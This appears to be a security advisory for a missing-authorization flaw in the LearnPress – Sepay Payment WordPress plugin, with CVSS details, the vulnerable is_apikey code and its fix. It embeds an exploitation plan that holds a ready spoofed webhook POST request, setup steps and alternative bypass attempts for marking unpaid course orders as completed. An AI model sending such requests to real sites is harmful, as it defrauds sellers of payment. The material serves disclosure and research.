LearnPress – Sepay Payment <= 4.0.0 - Missing Authorization
Description
The LearnPress – Sepay Payment plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.0.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.0.0What Changed in the Fix
Changes introduced in v4.0.1
Source Code
WordPress.org SVN# Exploitation Research Plan: LearnPress – Sepay Payment <= 4.0.0 - Missing Authorization ## 1. Vulnerability Summary The **LearnPress – Sepay Payment** plugin for WordPress (up to version 4.0.0) contains a **Missing Authorization** vulnerability in its REST API webhook handler. The plugin register…
Show full research plan
Exploitation Research Plan: LearnPress – Sepay Payment <= 4.0.0 - Missing Authorization
1. Vulnerability Summary
The LearnPress – Sepay Payment plugin for WordPress (up to version 4.0.0) contains a Missing Authorization vulnerability in its REST API webhook handler. The plugin registers a REST route learnpress-sepay/v1/listen-webhook to receive payment notifications from the Sepay gateway. Due to a failure to properly enforce authentication or validate the api_key (specifically when the key is unset or empty), unauthenticated attackers can spoof payment notifications.
The core of the issue likely resides in LP_Gateway_Sepay::is_apikey(), which uses str_contains(). If the administrator has not configured an API key, the check can be bypassed, allowing attackers to manipulate order statuses.
2. Attack Vector Analysis
- Endpoint:
/wp-json/learnpress-sepay/v1/listen-webhook - Method:
POST - Authentication: Unauthenticated (Missing/Weak
permission_callbackand weak API key validation). - Vulnerable Parameter: The JSON body of the POST request, specifically the
contentfield containing the Order ID. - Precondition: The vulnerability is most exploitable when the "API Key for webhook" is empty or when the plugin fails to verify the presence of the
Authorizationheader before passing it tois_apikey().
3. Code Flow
- Route Registration: The plugin (likely in
inc/class-lp-addon-sepay-payment-preload.phpor similar initialization code) registers the routelearnpress-sepay/v1/listen-webhookusingregister_rest_route. - Missing Permission Check: The
permission_callbackfor this route is likely set to__return_true, relying on internal function logic for security. - Internal Logic: The handler retrieves the
Authorizationheader and passes it toLP_Gateway_Sepay::is_apikey(string $authorization). - Weak Validation:
If// From inc/class-lp-gateway-sepay.php public function is_apikey( string $authorization ) { return str_contains( $authorization, $this->apikey ); }$this->apikeyis empty (default state or not yet configured),str_contains($authorization, '')returnstruein PHP 8+, effectively bypassing the check. - Processing: The handler then parses the JSON body. It extracts the transaction "content" (e.g., "DH123"), strips the prefix ("DH"), and finds the LearnPress order (ID 123). It then marks this order as paid/completed.
4. Nonce Acquisition Strategy
The target endpoint is a REST API Webhook. Webhooks are designed to be called by external services (Sepay servers) and typically do not require WordPress CSRF nonces because they do not rely on cookie-based authentication.
- Check Requirement: If the REST API was registered with
permission_callback => '__return_true', no nonce is required for thePOSTrequest. - Verification: Attempting a
POSTrequest without anX-WP-Nonceheader. If the response is not a 403 "rest_cookie_invalid", the endpoint is accessible without a nonce.
5. Exploitation Strategy
The goal is to mark a pending LearnPress order as "Completed" by sending a spoofed Sepay webhook notification.
Step-by-Step Plan:
- Identify Order ID and Prefix: Create a LearnPress order as a guest/student. Note the Order ID (e.g.,
15) and the prefix defined in settings (default isDHperconfig/settings.php). - Identify Webhook URL: The endpoint is
/wp-json/learnpress-sepay/v1/listen-webhook. - Craft Spoofed Payload: Create a JSON payload mimicking the Sepay webhook format.
- Execute Attack: Send a
POSTrequest to the webhook URL.
HTTP Request (via http_request tool):
POST /wp-json/learnpress-sepay/v1/listen-webhook HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json
Authorization: Bearer any_string_or_empty
{
"id": 9999999,
"gateway": "Vietcombank",
"transactionDate": "2025-01-01 10:00:00",
"accountNumber": "0011000123456",
"transferType": "in",
"transferAmount": 1000,
"accumulated": 1000,
"content": "DH15",
"referenceCode": "SPOOFED123",
"description": "Spoofed Payment"
}
Note: Replace DH15 with the actual prefix and Order ID.
6. Test Data Setup
- Plugin Configuration:
- Install and activate LearnPress.
- Install and activate LearnPress – Sepay Payment.
- Go to
LearnPress > Settings > Payments > Sepay. - Set Enable to
yes. - Ensure API Key for webhook is left blank (simulating an unconfigured or default setup).
- Content Setup:
- Create a dummy course with a price (e.g., $10).
- Order Creation:
- Use the
browser_navigatetool to visit the course page. - Click "Buy Now" and proceed to checkout.
- Select "Sepay" as the payment method.
- Place the order.
- Note the resulting Order ID from the URL or page content (e.g.,
Order #15).
- Use the
7. Expected Results
- HTTP Response: The REST API should return a
200 OK(possibly with a JSON success message from the plugin). - State Change: The LearnPress order status should change from
Pending(orProcessing) toCompleted. - Course Access: The student user should now have "Enrolled" access to the course without having performed a real bank transfer.
8. Verification Steps
- WP-CLI Status Check:
Check if the Order ID created in "Test Data Setup" now appears with thewp post list --post_type=lp_order --post_status=lp-completedlp-completedstatus. - User Enrollment Check:
wp user list --role=subscriber # Then check if the user has the 'enrolled-course' meta or check via LearnPress tables: wp db query "SELECT * FROM wp_learnpress_user_items WHERE item_id = [COURSE_ID] AND user_id = [USER_ID]"
9. Alternative Approaches
If the Authorization header is strictly required even when the key is empty:
- Try sending
Authorization: Bearer(space at the end). - Try sending
Authorization:(empty header).
If the str_contains check is not the primary flaw:
- Analyze the
permission_callbackusingwp-clito see if it is truly__return_true. - Test if the order prefix is ignored or if the order ID can be passed in other fields (e.g.,
description). - If the
AC:H(High Complexity) in the CVSS vector refers to something else, investigate if a specific "Bank" must be selected in settings for the REST route to be active.
Summary
The LearnPress – Sepay Payment plugin is vulnerable to unauthenticated payment spoofing due to a weak authorization check in its REST API webhook handler. When the webhook API key is not configured (leaving it empty), the check using str_contains() returns true for any authorization header, allowing attackers to mark LearnPress orders as completed without actual payment.
Vulnerable Code
// inc/class-lp-gateway-sepay.php line 147 /** * Check API key * * @param string $authorization Sepay Authorization String * @return boolean */ public function is_apikey( string $authorization ) { return str_contains( $authorization, $this->apikey ); }
Security Fix
@@ -148,5 +148,8 @@ */ public function is_apikey( string $authorization ) { - return str_contains( $authorization, $this->apikey ); + if ( empty( $this->apikey ) ) { + return false; + } + return str_contains( $authorization, $this->apikey ); }
Exploit Outline
1. Identify a target LearnPress order ID and its prefix (default is 'DH'). 2. Locate the webhook endpoint at `/wp-json/learnpress-sepay/v1/listen-webhook`. 3. Craft a POST request to this endpoint with a JSON payload mimicking a Sepay transaction. Ensure the 'content' field contains the concatenated prefix and order ID (e.g., 'DH15'). 4. Include an 'Authorization' header (e.g., 'Bearer spoofed'). 5. If the site administrator has not configured a specific API key, the vulnerable `is_apikey` function will perform `str_contains('Bearer spoofed', '')`, which returns true in PHP 8+. 6. The plugin processes the payload, extracts the order ID, and updates the order status to 'Completed', granting the attacker access to the course.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.